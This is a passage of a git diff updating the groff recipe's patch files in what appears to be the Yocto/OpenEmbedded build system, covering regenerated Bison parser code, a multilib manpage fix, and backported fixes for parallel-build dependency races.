-+#line 1728 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 41:
--#line 227 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 231 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_accent_box((yyvsp[-2].b), (yyvsp[0].b)); }
--#line 1719 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1734 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 42:
--#line 229 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 233 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_uaccent_box((yyvsp[-2].b), (yyvsp[0].b)); }
--#line 1725 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1740 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 43:
--#line 231 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 235 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new font_box(strsave(get_grfont()), (yyvsp[0].b)); }
--#line 1731 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1746 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 44:
--#line 233 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 237 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new font_box(strsave(get_gbfont()), (yyvsp[0].b)); }
--#line 1737 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1752 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 45:
--#line 235 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 239 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new font_box(strsave(get_gfont()), (yyvsp[0].b)); }
--#line 1743 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1758 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 46:
--#line 237 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 241 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new fat_box((yyvsp[0].b)); }
--#line 1749 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1764 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 47:
--#line 239 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 243 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new font_box((yyvsp[-1].str), (yyvsp[0].b)); }
--#line 1755 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1770 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 48:
--#line 241 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 245 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new size_box((yyvsp[-1].str), (yyvsp[0].b)); }
--#line 1761 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1776 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 49:
--#line 243 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 247 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new hmotion_box((yyvsp[-1].n), (yyvsp[0].b)); }
--#line 1767 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1782 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 50:
--#line 245 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 249 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new hmotion_box(-(yyvsp[-1].n), (yyvsp[0].b)); }
--#line 1773 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1788 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 51:
--#line 247 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 251 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new vmotion_box((yyvsp[-1].n), (yyvsp[0].b)); }
--#line 1779 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1794 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 52:
--#line 249 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 253 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new vmotion_box(-(yyvsp[-1].n), (yyvsp[0].b)); }
--#line 1785 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1800 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 53:
--#line 251 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 255 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[0].b)->set_spacing_type((yyvsp[-1].str)); (yyval.b) = (yyvsp[0].b); }
--#line 1791 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1806 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 54:
--#line 253 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 257 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new vcenter_box((yyvsp[0].b)); }
--#line 1797 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1812 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 55:
--#line 255 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 259 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_special_box((yyvsp[-1].str), (yyvsp[0].b)); }
--#line 1803 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1818 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 56:
--#line 260 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 264 "src/preproc/eqn/eqn.ypp"
- {
- int n;
- if (sscanf((yyvsp[0].str), "%d", &n) == 1)
- (yyval.n) = n;
- a_delete (yyvsp[0].str);
- }
--#line 1814 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1829 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 57:
--#line 270 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 274 "src/preproc/eqn/eqn.ypp"
- { (yyval.pb) = new pile_box((yyvsp[0].b)); }
--#line 1820 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1835 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 58:
--#line 272 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 276 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[-2].pb)->append((yyvsp[0].b)); (yyval.pb) = (yyvsp[-2].pb); }
--#line 1826 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1841 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 59:
--#line 277 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 281 "src/preproc/eqn/eqn.ypp"
- { (yyval.pb) = (yyvsp[-1].pb); }
--#line 1832 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1847 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 60:
--#line 279 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 283 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[-1].pb)->set_space((yyvsp[-3].n)); (yyval.pb) = (yyvsp[-1].pb); }
--#line 1838 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1853 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 61:
--#line 284 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 288 "src/preproc/eqn/eqn.ypp"
- { (yyval.mb) = new matrix_box((yyvsp[0].col)); }
--#line 1844 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1859 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 62:
--#line 286 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 290 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[-1].mb)->append((yyvsp[0].col)); (yyval.mb) = (yyvsp[-1].mb); }
--#line 1850 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1865 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 63:
--#line 291 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 295 "src/preproc/eqn/eqn.ypp"
- { (yyval.col) = new column((yyvsp[0].b)); }
--#line 1856 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1871 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 64:
--#line 293 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 297 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[-2].col)->append((yyvsp[0].b)); (yyval.col) = (yyvsp[-2].col); }
--#line 1862 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1877 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 65:
--#line 298 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 302 "src/preproc/eqn/eqn.ypp"
- { (yyval.col) = (yyvsp[-1].col); }
--#line 1868 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1883 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 66:
--#line 300 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 304 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[-1].col)->set_space((yyvsp[-3].n)); (yyval.col) = (yyvsp[-1].col); }
--#line 1874 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1889 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 67:
--#line 305 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 309 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[0].col)->set_alignment(CENTER_ALIGN); (yyval.col) = (yyvsp[0].col); }
--#line 1880 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1895 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 68:
--#line 307 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 311 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[0].col)->set_alignment(LEFT_ALIGN); (yyval.col) = (yyvsp[0].col); }
--#line 1886 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1901 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 69:
--#line 309 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 313 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[0].col)->set_alignment(RIGHT_ALIGN); (yyval.col) = (yyvsp[0].col); }
--#line 1892 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1907 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 70:
--#line 311 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 315 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[0].col)->set_alignment(CENTER_ALIGN); (yyval.col) = (yyvsp[0].col); }
--#line 1898 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1913 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 71:
--#line 315 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 319 "src/preproc/eqn/eqn.ypp"
- { (yyval.str) = (yyvsp[0].str); }
--#line 1904 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1919 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 72:
--#line 317 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 321 "src/preproc/eqn/eqn.ypp"
- { (yyval.str) = (yyvsp[0].str); }
--#line 1910 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1925 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 73:
--#line 322 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 326 "src/preproc/eqn/eqn.ypp"
- { (yyval.str) = (yyvsp[0].str); }
--#line 1916 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1931 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 74:
--#line 324 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 328 "src/preproc/eqn/eqn.ypp"
- { (yyval.str) = strsave("{"); }
--#line 1922 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1937 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 75:
--#line 326 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 330 "src/preproc/eqn/eqn.ypp"
- { (yyval.str) = strsave("}"); }
--#line 1928 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1943 "src/preproc/eqn/eqn.cpp"
- break;
-
-
--#line 1932 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1947 "src/preproc/eqn/eqn.cpp"
-+
- default: break;
- }
- /* User semantic actions sometimes alter yychar, and that requires
-@@ -2042,12 +2058,10 @@ yyerrlab:
- | yyerrorlab -- error raised explicitly by YYERROR. |
- `---------------------------------------------------*/
- yyerrorlab:
--
-- /* Pacify compilers like GCC when the user code never invokes
-- YYERROR and the label yyerrorlab therefore never appears in user
-- code. */
-- if (/*CONSTCOND*/ 0)
-- goto yyerrorlab;
-+ /* Pacify compilers when the user code never invokes YYERROR and the
-+ label yyerrorlab therefore never appears in user code. */
-+ if (0)
-+ YYERROR;
-
- /* Do not reclaim the symbols of the rule whose action triggered
- this YYERROR. */
-@@ -2109,6 +2123,7 @@ yyacceptlab:
- yyresult = 0;
- goto yyreturn;
-
-+
- /*-----------------------------------.
- | yyabortlab -- YYABORT comes here. |
- `-----------------------------------*/
-@@ -2116,6 +2131,7 @@ yyabortlab:
- yyresult = 1;
- goto yyreturn;
-
-+
- #if !defined yyoverflow || YYERROR_VERBOSE
- /*-------------------------------------------------.
- | yyexhaustedlab -- memory exhaustion comes here. |
-@@ -2126,6 +2142,10 @@ yyexhaustedlab:
- /* Fall through. */
- #endif
-
-+
-+/*-----------------------------------------------------.
-+| yyreturn -- parsing is finished, return the result. |
-+`-----------------------------------------------------*/
- yyreturn:
- if (yychar != YYEMPTY)
- {
-@@ -2155,5 +2175,5 @@ yyreturn:
- #endif
- return yyresult;
- }
--#line 329 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1903 */
-+#line 333 "src/preproc/eqn/eqn.ypp"
-
-diff --git a/src/preproc/eqn/eqn.hpp b/src/preproc/eqn/eqn.hpp
-index 32a32a5..9a092c1 100644
---- a/src/preproc/eqn/eqn.hpp
-+++ b/src/preproc/eqn/eqn.hpp
-@@ -1,8 +1,9 @@
--/* A Bison parser, made by GNU Bison 3.2. */
-+/* A Bison parser, made by GNU Bison 3.4.1. */
-
- /* Bison interface for Yacc-like parsers in C
-
-- Copyright (C) 1984, 1989-1990, 2000-2015, 2018 Free Software Foundation, Inc.
-+ Copyright (C) 1984, 1989-1990, 2000-2015, 2018-2019 Free Software Foundation,
-+ Inc.
-
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
-@@ -170,10 +171,9 @@ extern int yydebug;
-
- /* Value type. */
- #if ! defined YYSTYPE && ! defined YYSTYPE_IS_DECLARED
--
- union YYSTYPE
- {
--#line 30 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1906 */
-+#line 34 "src/preproc/eqn/eqn.ypp"
-
- char *str;
- box *b;
-@@ -182,9 +182,9 @@ union YYSTYPE
- int n;
- column *col;
-
--#line 186 "src/preproc/eqn/eqn.hpp" /* yacc.c:1906 */
--};
-+#line 186 "src/preproc/eqn/eqn.hpp"
-
-+};
- typedef union YYSTYPE YYSTYPE;
- # define YYSTYPE_IS_TRIVIAL 1
- # define YYSTYPE_IS_DECLARED 1
-diff --git a/src/preproc/eqn/eqn.ypp b/src/preproc/eqn/eqn.ypp
-index fb318c3..b7b647e 100644
---- a/src/preproc/eqn/eqn.ypp
-+++ b/src/preproc/eqn/eqn.ypp
-@@ -16,6 +16,10 @@ for more details.
- You should have received a copy of the GNU General Public License
- along with this program. If not, see <http://www.gnu.org/licenses/>. */
- %{
-+#if HAVE_CONFIG_H
-+# include <config.h>
-+#endif
-+
- #include <stdio.h>
- #include <string.h>
- #include <stdlib.h>
-diff --git a/src/preproc/eqn/other.cpp b/src/preproc/eqn/other.cpp
-index 8db993f..38db396 100644
---- a/src/preproc/eqn/other.cpp
-+++ b/src/preproc/eqn/other.cpp
-@@ -17,6 +17,10 @@ for more details.
- You should have received a copy of the GNU General Public License
- along with this program. If not, see <http://www.gnu.org/licenses/>. */
-
-+#if HAVE_CONFIG_H
-+# include <config.h>
-+#endif
-+
- #include <stdlib.h>
-
- #include "eqn.h"
-diff --git a/src/preproc/eqn/text.cpp b/src/preproc/eqn/text.cpp
-index f3d06f9..3b244d5 100644
---- a/src/preproc/eqn/text.cpp
-+++ b/src/preproc/eqn/text.cpp
-@@ -17,6 +17,10 @@ for more details.
- You should have received a copy of the GNU General Public License
- along with this program. If not, see <http://www.gnu.org/licenses/>. */
-
-+#if HAVE_CONFIG_H
-+# include <config.h>
-+#endif
-+
- #include <ctype.h>
- #include <stdlib.h>
- #include "eqn.h"
-diff --git a/src/preproc/pic/object.cpp b/src/preproc/pic/object.cpp
-index d8ba610..f26a831 100644
---- a/src/preproc/pic/object.cpp
-+++ b/src/preproc/pic/object.cpp
-@@ -17,6 +17,10 @@ for more details.
- You should have received a copy of the GNU General Public License
- along with this program. If not, see <http://www.gnu.org/licenses/>. */
-
-+#if HAVE_CONFIG_H
-+# include <config.h>
-+#endif
-+
- #include <stdlib.h>
-
- #include "pic.h"
---
-2.22.0
-
diff --git a/meta/recipes-extended/groff/files/0001-Make-manpages-mulitlib-identical.patch b/meta/recipes-extended/groff/files/0001-Make-manpages-mulitlib-identical.patch
index 9105da6457..6dc84c9062 100644
--- a/meta/recipes-extended/groff/files/0001-Make-manpages-mulitlib-identical.patch
+++ b/meta/recipes-extended/groff/files/0001-Make-manpages-mulitlib-identical.patch
@@ -1,27 +1,25 @@
-From e738f9185ba90f2083c846ade3551234bb5a7cbc Mon Sep 17 00:00:00 2001
+From aa1f37f1e0ff0dc0eeb199b52959e0deb275721e Mon Sep 17 00:00:00 2001
From: Jeremy Puhlman <jpuhlman@mvista.com>
Date: Sat, 7 Mar 2020 00:59:13 +0000
Subject: [PATCH] Make manpages mulitlib identical
-Upstream-Status: Pending
+Upstream-Status: Submitted [by email to g.branden.robinson@gmail.com]
Signed-off-by: Jeremy Puhlman <jpuhlman@mvista.com>
+
---
Makefile.am | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/Makefile.am b/Makefile.am
-index d18c49b..6175fe9 100644
+index f7ab410..7e1f3fb 100644
--- a/Makefile.am
+++ b/Makefile.am
-@@ -917,7 +917,7 @@ SUFFIXES += .man
- -e "s|[@]MDATE[@]|`$(PERL) $(top_srcdir)/mdate.pl $<`|g" \
- -e "s|[@]OLDFONTDIR[@]|`echo $(oldfontdir) | sed -f $(makevarescape)`|g" \
+@@ -891,7 +891,7 @@ SUFFIXES += .man
+ -e "s|[@]PAGE[@]|\\\\%$(PAGE)|g" \
-e "s|[@]PDFDOCDIR[@]|`echo $(pdfdocdir) | sed -f $(makevarescape)`|g" \
+ -e "s|[@]PSPRINT[@]|`echo $(PSPRINT) | sed -f $(makevarescape)`|g" \
- -e "s|[@]SYSTEMMACRODIR[@]|`echo $(systemtmacdir) | sed -f $(makevarescape)`|g" \
+ -e "s|[@]SYSTEMMACRODIR[@]|`echo $(systemtmacdir) | sed -e 's,$(libdir),$(prefix)/lib*,' | sed -f $(makevarescape)`|g" \
- -e "s|[@]TMAC_AN_PREFIX[@]|$(tmac_an_prefix)|g" \
- -e "s|[@]TMAC_M_PREFIX[@]|$(tmac_m_prefix)|g" \
- -e "s|[@]TMAC_MDIR[@]|$(tmacdir)/mm|g" \
---
-2.23.0
-
+ -e "s|[@]TMAC_AN_PREFIX[@]|\\\\%$(tmac_an_prefix)|g" \
+ -e "s|[@]TMAC_M_PREFIX[@]|\\\\%$(tmac_m_prefix)|g" \
+ -e "s|[@]TMAC_MDIR[@]|`echo $(tmacdir) | sed -f $(makevarescape)`/mm|g" \
diff --git a/meta/recipes-extended/groff/files/0001-build-Fix-Savannah-64681-webpage.ps-deps.patch b/meta/recipes-extended/groff/files/0001-build-Fix-Savannah-64681-webpage.ps-deps.patch
new file mode 100644
index 0000000000..eae5dc9998
--- /dev/null
+++ b/meta/recipes-extended/groff/files/0001-build-Fix-Savannah-64681-webpage.ps-deps.patch
@@ -0,0 +1,51 @@
+From c75965053124149381ada3c394da74be078076cf Mon Sep 17 00:00:00 2001
+From: "G. Branden Robinson" <g.branden.robinson@gmail.com>
+Date: Sat, 16 Sep 2023 16:28:00 -0500
+Subject: [PATCH] [build]: Fix Savannah #64681 (webpage.ps deps).
+
+* doc/doc.am (doc/webpage.ps, doc/webpage.html): Update and parallelize
+ target dependencies. Resolve race by requiring "grn" and "soelim" to
+ be built first. Also add dependency on `$(TMAC_PACKAGE_MS)`.
+
+Fixes <https://savannah.gnu.org/bugs/?64681>. Thanks to Alexander
+Kanavin for the report.
+
+ANNOUNCE: Acknowledge Alexander.
+
+Upstream-Status: Backport
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ doc/doc.am | 12 ++++++++----
+ 1 file changed, 8 insertions(+), 4 deletions(-)
+
+diff --git a/doc/doc.am b/doc/doc.am
+index cddc51907..d3c9ab6b7 100644
+--- a/doc/doc.am
++++ b/doc/doc.am
+@@ -346,6 +346,9 @@ doc/pic.ps: $(doc_srcdir)/pic.ms eqn pic tbl
+ $(GROFF_V)$(MKDIR_P) `dirname $@` \
+ && $(DOC_GROFF) -pet -Tps -ms $(doc_srcdir)/pic.ms >$@
+
++# groff(1)'s `-I` implies `-g` and `-s`, so we must depend on grn and
++# soelim even though the document doesn't require them.
++doc/webpage.ps: grn soelim
+ doc/webpage.ps: $(DOC_GNU_EPS) tmac/www.tmac tbl
+ doc/webpage.ps: $(doc_srcdir)/webpage.ms
+ $(GROFF_V)$(MKDIR_P) `dirname $@` \
+@@ -365,11 +368,12 @@ doc/pic.html: $(doc_srcdir)/pic.ms
+ && $(DOC_GROFF) -pet -P-Ipic -P-Dimg -P-jpic -Thtml -ms \
+ $(doc_srcdir)/pic.ms > pic.html
+
+-doc/webpage.html: tbl
+-doc/webpage.html: tmac/www.tmac
+-doc/webpage.html: $(DOC_GNU_EPS)
++# groff(1)'s `-I` implies `-g` and `-s`, so we must depend on grn and
++# soelim even though the document doesn't require them.
++doc/webpage.html: grn soelim
++doc/webpage.html: $(DOC_GNU_EPS) tmac/www.tmac tbl
+ doc/webpage.html: $(doc_srcdir)/groff.css
+-doc/webpage.html: $(doc_srcdir)/webpage.ms
++doc/webpage.html: $(doc_srcdir)/webpage.ms $(TMAC_PACKAGE_MS)
+ $(GROFF_V)$(MKDIR_P) $(doc_builddir) \
+ && cd $(doc_builddir) \
+ && $(DOC_GROFF) -t -I $(doc_srcdir) -P-jwebpage -P-nrb \
diff --git a/meta/recipes-extended/groff/files/0001-build-meintro_fr.ps-depends-on-tbl.patch b/meta/recipes-extended/groff/files/0001-build-meintro_fr.ps-depends-on-tbl.patch
new file mode 100644
index 0000000000..3e81b86ac8
--- /dev/null
+++ b/meta/recipes-extended/groff/files/0001-build-meintro_fr.ps-depends-on-tbl.patch
@@ -0,0 +1,31 @@
+From f21e9f13beb57a1e0666edf9693d7c83f2189897 Mon Sep 17 00:00:00 2001
+From: "G. Branden Robinson" <g.branden.robinson@gmail.com>
+Date: Fri, 22 Sep 2023 01:27:57 -0500
+Subject: [PATCH] [build]: meintro_fr.ps depends on tbl.
+
+* doc/doc.am (doc/meintro_fr.ps): Depend on tbl, resolving race in
+ sufficiently parallelized builds. Overlooked in commit 92349ae223,
+ 2022-05-30.
+
+Fixes <https://savannah.gnu.org/bugs/?64695>. Thanks to Alexander
+Kanavin for the report.
+
+Upstream-Status: Backport
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ doc/doc.am | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/doc/doc.am b/doc/doc.am
+index d3c9ab6b7..0f95c7774 100644
+--- a/doc/doc.am
++++ b/doc/doc.am
+@@ -334,7 +334,7 @@ SUFFIXES += .me.in .me
+
+ # Use '-K utf8', not '-k', in case 'configure' didn't find uchardet.
+ # The French translation uses tbl; its English counterpart does not.
+-doc/meintro_fr.ps: doc/meintro_fr.me preconv
++doc/meintro_fr.ps: doc/meintro_fr.me preconv tbl
+ $(GROFF_V)$(MKDIR_P) `dirname $@` \
+ && $(DOC_GROFF) -K utf8 -t -Tps -me -mfr $< >$@
+
diff --git a/meta/recipes-extended/groff/files/0001-replace-perl-w-with-use-warnings.patch b/meta/recipes-extended/groff/files/0001-replace-perl-w-with-use-warnings.patch
deleted file mode 100644
index eda6a40f51..0000000000
--- a/meta/recipes-extended/groff/files/0001-replace-perl-w-with-use-warnings.patch
+++ /dev/null
@@ -1,106 +0,0 @@
-From 6821a23e6cf34df37c351b45be413a8da9115f9f Mon Sep 17 00:00:00 2001
-From: Robert Yang <liezhi.yang@windriver.com>
-Date: Sat, 11 May 2019 17:03:03 +0800
-Subject: [PATCH 1/2] replace "perl -w" with "use warnings"
-
-The shebang's max length is usually 128 as defined in
-/usr/include/linux/binfmts.h:
- #define BINPRM_BUF_SIZE 128
-
-There would be errors when @PERL@ is longer than 128, use
-'/usr/bin/env perl' can fix the problem, but '/usr/bin/env perl -w'
-doesn't work:
-
-/usr/bin/env: perl -w: No such file or directory
-
-So replace "perl -w" with "use warnings" to make it work.
-
-Upstream-Status: Pending
-
-Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
-
-Rebase to 1.22.4.
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- font/devpdf/util/BuildFoundries.pl | 3 ++-
- src/devices/gropdf/gropdf.pl | 3 ++-
- src/devices/gropdf/pdfmom.pl | 3 ++-
- src/utils/afmtodit/afmtodit.pl | 3 ++-
- 4 files changed, 8 insertions(+), 4 deletions(-)
-
-diff --git a/font/devpdf/util/BuildFoundries.pl b/font/devpdf/util/BuildFoundries.pl
-index f8af826..9584e28 100644
---- a/font/devpdf/util/BuildFoundries.pl
-+++ b/font/devpdf/util/BuildFoundries.pl
-@@ -1,4 +1,4 @@
--#!/usr/bin/perl -w
-+#!/usr/bin/perl
- #
- # BuildFoundries : Given a Foundry file generate groff and download files
- # Deri James : Monday 07 Feb 2011
-@@ -22,6 +22,7 @@
- # along with this program. If not, see <http://www.gnu.org/licenses/>.
-
- use strict;
-+use warnings;
-
- (my $progname = $0) =~s @.*/@@;
- my $where=shift||'';
-diff --git a/src/devices/gropdf/gropdf.pl b/src/devices/gropdf/gropdf.pl
-index 2ec52d0..ce5a06f 100644
---- a/src/devices/gropdf/gropdf.pl
-+++ b/src/devices/gropdf/gropdf.pl
-@@ -1,4 +1,4 @@
--#!@PERL@ -w
-+#!@PERL@
- #
- # gropdf : PDF post processor for groff
- #
-@@ -21,6 +21,7 @@
- # along with this program. If not, see <http://www.gnu.org/licenses/>.
-
- use strict;
-+use warnings;
- use Getopt::Long qw(:config bundling);
-
- use constant
-diff --git a/src/devices/gropdf/pdfmom.pl b/src/devices/gropdf/pdfmom.pl
-index c9b08b2..61124f3 100644
---- a/src/devices/gropdf/pdfmom.pl
-+++ b/src/devices/gropdf/pdfmom.pl
-@@ -1,4 +1,4 @@
--#!@PERL@ -w
-+#!@PERL@
- #
- # pdfmom : Frontend to run groff -mom to produce PDFs
- # Deri James : Friday 16 Mar 2012
-@@ -23,6 +23,7 @@
- # along with this program. If not, see <http://www.gnu.org/licenses/>.
-
- use strict;
-+use warnings;
- use File::Temp qw/tempfile/;
- my @cmd;
- my $dev='pdf';
-diff --git a/src/utils/afmtodit/afmtodit.pl b/src/utils/afmtodit/afmtodit.pl
-index 954c58e..81a6c97 100644
---- a/src/utils/afmtodit/afmtodit.pl
-+++ b/src/utils/afmtodit/afmtodit.pl
-@@ -1,4 +1,4 @@
--#! /usr/bin/perl -w
-+#! /usr/bin/perl
- # -*- Perl -*-
- # Copyright (C) 1989-2018 Free Software Foundation, Inc.
- # Written by James Clark (jjc@jclark.com)
-@@ -19,6 +19,7 @@
- # along with this program. If not, see <http://www.gnu.org/licenses/>.
-
- use strict;
-+use warnings;
-
- @afmtodit.tables@
-
---
-2.7.4
-
diff --git a/meta/recipes-extended/groff/files/0001-support-musl.patch b/meta/recipes-extended/groff/files/0001-support-musl.patch
deleted file mode 100644
index a837b11b1b..0000000000
--- a/meta/recipes-extended/groff/files/0001-support-musl.patch
+++ /dev/null
@@ -1,41 +0,0 @@
-From 695965c27be74acb5968f19d51af86065c4b71a9 Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Mon, 13 May 2019 09:48:14 +0800
-Subject: [PATCH] support musl
-
-...
-|./lib/math.h:2877:1: error: 'int signbit(float)' conflicts with a previous declaration
-| _GL_MATH_CXX_REAL_FLOATING_DECL_2 (signbit)
-| ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-|In file included from recipe-sysroot/usr/include/c++/8.3.0/math.h:36,
-| from ./lib/math.h:27,
-| from ./src/include/driver.h:27,
-| from src/devices/grodvi/dvi.cpp:20:
-|recipe-sysroot/usr/include/c++/8.3.0/cmath:661:3: note: previous declaration 'constexpr bool std::signbit(float)'
-| signbit(float __x)
